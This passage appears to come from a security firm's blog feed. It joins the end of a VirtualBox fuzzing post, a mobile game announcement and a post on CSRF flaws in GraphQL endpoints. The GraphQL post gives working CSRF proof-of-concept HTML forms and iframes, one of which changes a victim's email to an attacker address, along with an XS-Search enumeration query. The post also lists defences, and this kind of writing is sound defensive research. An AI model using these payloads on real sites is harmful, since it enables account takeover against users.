<p>Additionally, we can disable the instantiation of all devices which we are not currently fuzzing. The relevant code is inside <code class="language-plaintext highlighter-rouge">src/VBox/VMM/VMMR3/PDMDevice.cpp</code>, implementing the init completion routine through <code class="language-plaintext highlighter-rouge">pdmR3DevInit</code>. For the PCNet driver, at least the <code class="language-plaintext highlighter-rouge">pci</code>, <code class="language-plaintext highlighter-rouge">VMMDev</code>, and <code class="language-plaintext highlighter-rouge">pcnet</code> modules must be enabled. Therefore, we can skip the initialization for the rest.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="cm">/*
*
* Instantiate the devices.
*
*/</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">cDevs</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">PDMDEVREGR3</span> <span class="k">const</span> <span class="o">*</span> <span class="k">const</span> <span class="n">pReg</span> <span class="o">=</span> <span class="n">paDevs</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">pDev</span><span class="o">-></span><span class="n">pReg</span><span class="p">;</span>
<span class="c1">// if (!strcmp(pReg->szName, "pci")) {continue;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"ich9pci"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"pcarch"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"pcbios"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"ioapic"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"pckbd"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"piix3ide"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"i8254"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"i8259"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"hpet"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"smc"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"flash"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"efi"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"mc146818"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"vga"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="c1">// if (!strcmp(pReg->szName, "VMMDev")) {continue;}</span>
<span class="c1">// if (!strcmp(pReg->szName, "pcnet")) {continue;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"e1000"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"virtio-net"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="c1">// if (!strcmp(pReg->szName, "IntNetIP")) {continue;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"ichac97"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"sb16"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"hda"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"usb-ohci"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"acpi"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"8237A"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"i82078"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"serial"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"oxpcie958uart"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"parallel"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"ahci"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"buslogic"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"pcibridge"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"ich9pcibridge"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"lsilogicscsi"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"lsilogicsas"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"virtio-scsi"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"GIMDev"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">pReg</span><span class="o">-></span><span class="n">szName</span><span class="p">,</span> <span class="s">"lpc"</span><span class="p">))</span> <span class="p">{</span><span class="k">continue</span><span class="p">;}</span>
<span class="cm">/*
* Gather a bit of config.
*/</span>
<span class="cm">/* trusted */</span>
</code></pre></div></div>
<p>The most significant issue is that minimizing our test cases is not an option when the stability is low (the percentage depends on the drivers we fuzz). If we cannot reproduce the crash, we can at least intercept it and analyze it afterward in <code class="language-plaintext highlighter-rouge">gdb</code>.</p>
<p>We ran AFL in debug mode as a workaround, which yields a <code class="language-plaintext highlighter-rouge">core</code> file after every crash. Before running the fuzzer, this behavior can be enabled by:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ export AFL_DEBUG=1
$ ulimit -c unlimited
</code></pre></div></div>
<h2 id="conclusion">Conclusion</h2>
<p>We presented one of the possible approaches to fuzzing VirtualBox device drivers. We hope it contributes to a better understanding of VirtualBox internals. For inspiration, I’ll leave you with the quote from <code class="language-plaintext highlighter-rouge">doc/VBox-CodingGuidelines.cpp</code>:</p>
<pre><code class="language-none"> * (2) "A really advanced hacker comes to understand the true inner workings of
* the machine - he sees through the language he's working in and glimpses
* the secret functioning of the binary code - becomes a Ba'al Shem of
* sorts." (Neal Stephenson "Snow Crash")
</code></pre>
<h2 id="references">References</h2>
<ul>
<li>[1] <a href="https://starlabs.sg/blog/2020/04/adventures-in-hypervisor-oracle-virtualbox-research/">Pham Hong Phi, “Adventures in Hypervisor: Oracle VirtualBox Research,” Apr 2020</a></li>
<li>[2] <a href="https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20Discovering%2010+%20Vulnerabilities%20in%20Virtualbox%20-%20Chen%20Nan.pdf">ChenNan, “Box Escape: Discovering 10+ Vulnerabilities in VirtualBox,” HITB Security Conference, May 2021</a></li>
<li>[3] <a href="http://blog.paulch.ru/2020-07-26-hunting-for-bugs-in-virtualbox-first-take.html">Pavel Cheremushkin, “Hunting for bugs in VirtualBox (First Take),” July 2020</a></li>
</ul>
H1.Jack, The Game2022-02-16T00:00:00+01:00https://blog.doyensec.com/2022/02/16/h1jack-the-game<blockquote>
<p>As crazy as it sounds, we’re releasing a casual free-to-play mobile auto-battler for Android and iOS. We’re not changing line of business - just having fun with computers!</p>
</blockquote>
<p>We believe that the greatest learning lessons come from outside your comfort zone, so whether it is a security audit or a new side hustle we’re always challenging ourself to improve the craft.</p>
<p>During the fall of 2019, we embarked on a pretty ambitious goal despite the virtually zero experience in game design. We partnered with a <a href="https://cobble.games/">small game studio</a> that was just getting started and decided to combine forces to design and develop a casual mobile game set in the *cyber* space. After many prototypes and changes of direction, we spent a good portion of 2020 spare time to work on the core mechanics and graphics. Unfortunately, the limited time and budget further delayed beta testing and the final release. Making a game is no joke, especially when it is a combined side project for two thriving businesses.</p>
<p>Despite all, we’re happy to announce the release of <a href="https://www.h1jack.com/">H1.Jack</a> for Android and iOS as a <em>free-to-play</em> with no advertisement. We hope you’ll enjoy the game in between your commutes and lunch breaks!</p>
<ul>
<li>Android: <a href="https://play.google.com/store/apps/details?id=com.CobbleGames.Hijack">https://play.google.com/store/apps/details?id=com.CobbleGames.Hijack</a></li>
<li>iOS (iPhone and iPad) <a href="https://apps.apple.com/app/hijack-game/id1517609205">https://apps.apple.com/app/hijack-game/id1517609205</a></li>
</ul>
<p>No malware included.</p>
<p><a href="https://www.h1jack.com/">H1.Jack</a> is a casual mobile auto-battler inspired by cyber security events. Start from the very bottom and spend your money and fame in gaining new techniques and exploits. <em>Heartbleed</em> or <em>Shellshock</em> won’t be enough!</p>
<div style="text-align: center;">
<img src="../../../public/images/H1jackRoom.png" title="H1jack Room" alt="H1jack Room" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>While playing, you might end up talking to John or Luca.</p>
<div style="text-align: center;">
<img src="../../../public/images/LucaJohnH1jack.png" title="Luca&John H1jack" alt="Luca&John H1jack" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>Our monsters are procedurally generated, meaning there will be tons of unique systems, apps, malware and bots to hack. Battle levels are also dynamically generated. If you want a sneak peek, check out the trailer:</p>
<style>
.videoWrapper {
position: relative;
padding-bottom: 56.25%; /* 16:9 */
padding-top: 25px;
height: 0;
}
.videoWrapper iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
</style>
<div class="videoWrapper">
<iframe width="560" height="349" src="https://www.youtube.com/embed/-SAYyfAvKtY" frameborder="0" allowfullscreen=""></iframe>
</div>
That single GraphQL issue that you keep missing2021-05-20T00:00:00+02:00https://blog.doyensec.com/2021/05/20/graphql-csrf<p>With the increasing popularity of <a href="https://graphql.org/">GraphQL</a> on the web, we would like to discuss a particular class of vulnerabilities that is often hidden in GraphQL implementations.</p>
<h2 id="graphql-what">GraphQL what?</h2>
<p>GraphQL is an open source query language, loved by many, that can help you in building meaningful APIs.
Its major features are:</p>
<ul>
<li>Aggregating data from multiple sources</li>
<li>Decoupling the data from the database underneath, through a graph form</li>
<li>Ensuring input type correctness with minimal effort from the developers</li>
</ul>
<h2 id="csrf-eh">CSRF eh?</h2>
<p>Cross Site Request Forgery (<a href="https://owasp.org/www-community/attacks/csrf">CSRF</a>) is a type of attack that occurs when a malicious web application causes a web browser to perform an unwanted action on the behalf of an authenticated user. Such an attack works because browser requests automatically include all cookies, including session cookies.</p>
<h2 id="graphql-csrf-more-buzzword-combos-please">GraphQL CSRF: more buzzword combos please!</h2>
<h4 id="post-based-csrf">POST-based CSRF</h4>
<p>POST requests are natural CSRF targets, since they usually change the application state. GraphQL endpoints typically accept <code class="language-plaintext highlighter-rouge">Content-Type</code> headers set to <code class="language-plaintext highlighter-rouge">application/json</code> only, which is widely believed to be invulnerable to CSRF. As multiple layers of middleware may translate the incoming requests from other formats (e.g. query parameters, <code class="language-plaintext highlighter-rouge">application/x-www-form-urlencoded</code>, <code class="language-plaintext highlighter-rouge">multipart/form-data</code>), GraphQL implementations are often affected by CSRF. Another incorrect assumption is that JSON cannot be created from urlencoded requests. When both of these assumptions are made, many developers may incorrectly forego implementing proper CSRF protections.</p>
<p>The false sense of security works in the attacker’s favor, since it creates an attack surface which is easier to exploit. For example, a valid GraphQL query can be issued with a simple <strong>application/json POST request</strong>:</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/graphql</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">redacted</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">100</span>
<span class="na">accept</span><span class="p">:</span> <span class="s">*/*</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">...</span>
<span class="na">content-type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">https://redacted/</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.9</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">...</span>
<span class="p">{</span><span class="nl">"operationName"</span><span class="p">:</span><span class="kc">null</span><span class="p">,</span><span class="nl">"variables"</span><span class="p">:{},</span><span class="nl">"query"</span><span class="p">:</span><span class="s2">"{</span><span class="se">\n</span><span class="s2"> user {</span><span class="se">\n</span><span class="s2"> firstName</span><span class="se">\n</span><span class="s2"> __typename</span><span class="se">\n</span><span class="s2"> }</span><span class="se">\n</span><span class="s2">}</span><span class="se">\n</span><span class="s2">"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>It is common, due to middleware magic, to have a server accepting the same request as <strong>form-urlencoded POST request</strong>:</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/graphql</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">redacted</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">72</span>
<span class="na">accept</span><span class="p">:</span> <span class="s">*/*</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">https://redacted</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.9</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">...</span>
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
</code></pre></div></div>
<p>Which a seasoned <a href="https://portswigger.net/burp">Burp</a> user can quickly convert to a CSRF PoC through <code class="language-plaintext highlighter-rouge">Engagement Tools > Generate CSRF PoC</code></p>
<div style="text-align: center;">
<img src="../../../public/images/generate-csrf-poc.png" title="shell.showItemInFolder" alt="shell.showItemInFolder" align="center" style="display: block; margin-left: auto; margin-right: auto; width: 400px;" />
</div>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><html></span>
<span class="c"><!-- CSRF PoC - generated by Burp Suite Professional --></span>
<span class="nt"><body></span>
<span class="nt"><script></span><span class="nx">history</span><span class="p">.</span><span class="nx">pushState</span><span class="p">(</span><span class="dl">''</span><span class="p">,</span> <span class="dl">''</span><span class="p">,</span> <span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">)</span><span class="nt"></script></span>
<span class="nt"><form</span> <span class="na">action=</span><span class="s">"https://redacted/graphql"</span> <span class="na">method=</span><span class="s">"POST"</span><span class="nt">></span>
<span class="nt"><input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"query"</span> <span class="na">value=</span><span class="s">"&#123;&#10;&#32;&#32;user&#32;&#123;&#10;&#32;&#32;&#32;&#32;firstName&#10;&#32;&#32;&#32;&#32;&#95;&#95;typename&#10;&#32;&#32;&#125;&#10;&#125;&#10;"</span> <span class="nt">/></span>
<span class="nt"><input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Submit request"</span> <span class="nt">/></span>
<span class="nt"></form></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</code></pre></div></div>
<p>While the example above only presents a harmless query, that’s not always the case. Since GraphQL resolvers are usually decoupled from the underlying application layer they are passed, any other query can be issued, including <strong>mutations</strong>.</p>
<h4 id="get-based-csrf">GET Based CSRF</h4>
<p>There are two common issues that we have spotted during our past engagements.</p>
<p>The first one is using <code class="language-plaintext highlighter-rouge">GET</code> requests for both <em>queries</em> and <em>mutations</em>.</p>
<p>For example, in one of our recent engagements, the application was exposing a <a href="https://github.com/graphql/graphiql">GraphiQL console</a>. GraphiQL is only intended for use in development environments. When misconfigured, it can be abused to perform CSRF attacks on victims, causing their browsers to issue arbitrary <code class="language-plaintext highlighter-rouge">query</code> or <code class="language-plaintext highlighter-rouge">mutation</code> requests. In fact, GraphiQL does allow mutations via GET requests.</p>
<div style="text-align: center;">
<img src="../../../public/images/ts-graphql-csrf-graphiql.png" title="shell.showItemInFolder" alt="shell.showItemInFolder" align="center" style="display: block; margin-left: auto; margin-right: auto; width: 800px;" />
</div>
<p>While CSRF in standard web applications usually affects only a handful of endpoints, the same issue in GraphQL is generally system-wise.</p>
<p>For the sake of an example, we include the Proof-of-Concept for a mutation that handles a file upload functionality:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><!DOCTYPE html></span>
<span class="nt"><html></span>
<span class="nt"><head></span>
<span class="nt"><title></span>GraphQL CSRF file upload<span class="nt"></title></span>
<span class="nt"></head></span>
<span class="nt"><body></span>
<span class="nt"><iframe</span> <span class="na">src=</span><span class="s">"https://graphql.victimhost.com/?query=mutation%20AddFile(%24name%3A%20String!%2C%20%24data%3A%20String!%2C%20%24contentType%3A%20String!) %20%7B%0A%20%20AddFile(file_name%3A%20%24name%2C%20data%3A%20%24data%2C%20content_type%3A%20%24contentType) %20%7B%0A%20%20%20%20id%0A%20%20%20%20__typename%0A%20%20%7D%0A%7D%0A&variables=%7B%0A %20%20%22data%22%3A%20%22%22%2C%0A%20%20%22name%22%3A%20%22dummy.pdf%22%2C%0A%20%20%22contentType%22%3A%20%22application%2Fpdf%22%0A%7D"</span><span class="nt">></iframe></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</code></pre></div></div>
<p>The second issue arises when a state-changing GraphQL operation is misplaced in the queries, which are normally non-state changing. In fact, most of the GraphQL server implementations respect this paradigm, and they even block any kind of mutation through the <code class="language-plaintext highlighter-rouge">GET</code> HTTP method. Discovering this type of issues is trivial, and can be performed by enumerating query names and trying to understand what they do. For this reason, we developed a <a href="https://github.com/doyensec/inql">tool for query/mutation enumeration</a>.</p>
<p>During an engagement, we discovered the following query that was issuing a state changing operation:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">req</span> <span class="o">:=</span> <span class="n">graphql</span><span class="o">.</span><span class="n">NewRequest</span><span class="p">(</span><span class="s">`
query SetUserEmail($email: String!) {
SetUserEmail(user_email: $email) {
id
email
}
}
`</span><span class="p">)</span>
</code></pre></div></div>
<p>Given that the <code class="language-plaintext highlighter-rouge">id</code> value was easily guessable, we were able to prepare a CSRF PoC:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><!DOCTYPE html></span>
<span class="nt"><html></span>
<span class="nt"><head></span>
<span class="nt"><title></span>GraphQL CSRF - State Changing Query<span class="nt"></title></span>
<span class="nt"></head></span>
<span class="nt"><body></span>
<span class="nt"><iframe</span> <span class="na">width=</span><span class="s">"1000"</span> <span class="na">height=</span><span class="s">"1000"</span> <span class="na">src=</span><span class="s">"https://victimhost.com/?query=query%20SetUserEmail%28%24email%3A%20String%21%29%20%7B%0A%20%20SetUserEmail%28user_email%3A%20%24email%29%20%7B%0A%20%20%20%20id%0A%20%20%20%20email%0A%20%20%7D%0A%7D%0A%26variables%3D%7B%0A%20%20%22id%22%3A%20%22441%22%2C%0A%20%20%22email%22%3A%20%22attacker%40email.xyz%22%2C%0A%7D"</span><span class="nt">></iframe></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</code></pre></div></div>
<p>Despite the most frequently used GraphQL servers/libraries having some sort of protection against CSRF, we have found that in some cases developers bypass the CSRF protection mechanisms. For example, if <a href="https://github.com/graphql-python/graphene-django">graphene-django</a> is in use, there is an easy way to deactivate the CSRF protection on a particular GraphQL endpoint:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">urlpatterns</span> <span class="o">=</span> <span class="n">patterns</span><span class="p">(</span>
<span class="c1"># ...
</span> <span class="n">url</span><span class="p">(</span><span class="sa">r</span><span class="s">'^graphql'</span><span class="p">,</span> <span class="n">csrf_exempt</span><span class="p">(</span><span class="n">GraphQLView</span><span class="p">.</span><span class="n">as_view</span><span class="p">(</span><span class="n">graphiql</span><span class="o">=</span><span class="bp">True</span><span class="p">))),</span>
<span class="c1"># ...
</span><span class="p">)</span>
</code></pre></div></div>
<h3 id="csrf-better-safe-than-sorry">CSRF: Better Safe Than Sorry</h3>
<p>Some browsers, such as Chrome, recently defaulted cookie behavior to be equivalent to <code class="language-plaintext highlighter-rouge">SameSite=Lax</code>, which protects from the most common CSRF vectors.</p>
<p>Other prevention methods can be implemented within each application. The most common are:</p>
<ul>
<li>Built-in CSRF protection in modern frameworks</li>
<li>Origin verification</li>
<li>Double submit cookies</li>
<li>User interaction based protection</li>
<li>Not using <code class="language-plaintext highlighter-rouge">GET</code> request for state changing operations</li>
<li>Enhanced CSRF protection to <code class="language-plaintext highlighter-rouge">GET</code> request too</li>
</ul>
<p>There isn’t necessarily a single best option for every application. Determining the best protection requires evaluating the specific environment on a case-by-case basis.</p>
<h3 id="rumbling-the-xs-search">Rumbling The XS-Search</h3>
<p>In <em>XS-Search</em> attacks, an attacker leverages a CSRF vulnerability to force a victim to request data the attacker can’t access themselves. The attacker then compares response times to infer whether the request was successful or not.</p>
<p>For example, if there is a CSRF vulnerability in the file search function and the attacker can make the admin visit that page, they could make the victim search for filenames starting with specific values, to confirm for their existence/accessibility.</p>
<p>Applications which accept <code class="language-plaintext highlighter-rouge">GET</code> requests for complex urlencoded queries and demonstrate a general misunderstanding of CSRF protection on their GraphQL endpoints represent the perfect target for XS-Search attacks.</p>
<p>XS-Search is quite a neat and simple technique which can transform the following query in an attacker controlled binary search (eg. we can enumerate the users of a private platform):</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">query</span> <span class="p">{</span>
<span class="nx">isEmailAvailable</span><span class="p">(</span><span class="nx">email</span><span class="p">:</span><span class="dl">"</span><span class="s2">foo@bar.com</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">is_email_available</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In HTTP <code class="language-plaintext highlighter-rouge">GET</code> form:</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/graphql?query=query+%7B%0A%09isEmailAvailable%28email%3A%22foo%40bar.com%22%29+%7B%0A%09%09is_email_available%0A%09%7D%0A%7D</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">redacted</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">0</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">...</span>
</code></pre></div></div>
